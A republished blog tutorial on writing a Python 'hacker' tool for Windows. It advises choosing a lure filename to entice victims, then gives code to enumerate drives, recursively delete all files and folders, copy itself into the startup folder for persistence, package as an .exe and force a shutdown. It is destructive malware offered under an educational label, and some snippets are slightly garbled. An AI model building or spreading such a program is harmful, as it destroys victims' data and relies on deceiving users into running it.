Create a Python ‘Hacker’ Tool: Scan Disks, Delete Files, and Auto‑Shutdown
This article demonstrates how to use Python's os and shutil modules to enumerate system drives, list directory trees, delete files and folders, copy a script to the startup folder, and finally trigger a forced shutdown, illustrating a simple educational hacking tool.
Introduction
With the rise of the information age, many people become curious about hacking and want to experiment with the virtual world using Python.
Project Goal
The goal is to show the most basic method of achieving auto‑startup by adding a file to the system startup folder (registry method is mentioned but not detailed).
Preparation
Use Sublime Text 3 to write the Python code and implement the process step by step.
Implementation Steps
Perform a social‑engineering analysis and choose an attractive executable name to entice users to click it.
Obtain the system drive letter using the os module:
import os
print(os.getenv('SystemDrive'))Print the directory tree of the drive and save it to a file:
aa = os.getenv('SystemDrive')
os.chdir(aa + '\\') # change current directory
os.system('tree > >1.txt') # save tree output to 1.txtDelete all files and folders on the drive using os.walk and os.remove / os.rmdir:
path = r"C:\Users\Administrator\Desktop\sa"
for root, dirs, files in os.walk(path, topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))List all other drive letters by iterating over uppercase letters:
import os, string
def get_drives():
drives = []
for p in string.ascii_uppercase:
disk = p + ':'
if os.path.isdir(disk):
drives.append(disk)
return drives
print(get_drives())Copy the Python script to the startup directory using shutil.copyfile and create a corresponding .bat file to launch it.
Optionally package the script into an executable with pyinstaller and modify the .bat to run the .exe directly.
After file operations are complete, trigger a forced shutdown without prompts:
os.popen('shutdown /f /sg')Conclusion
The article shows how to use Python's system‑related modules and Windows command‑line tools to gather drive information, delete files, and automate shutdown, providing a simple demonstration of a “hacker” utility for learning purposes.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Python Crawling & Data Mining
Life's short, I code in Python. This channel shares Python web crawling, data mining, analysis, processing, visualization, automated testing, DevOps, big data, AI, cloud computing, machine learning tools, resources, news, technical articles, tutorial videos and learning materials. Join us!
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
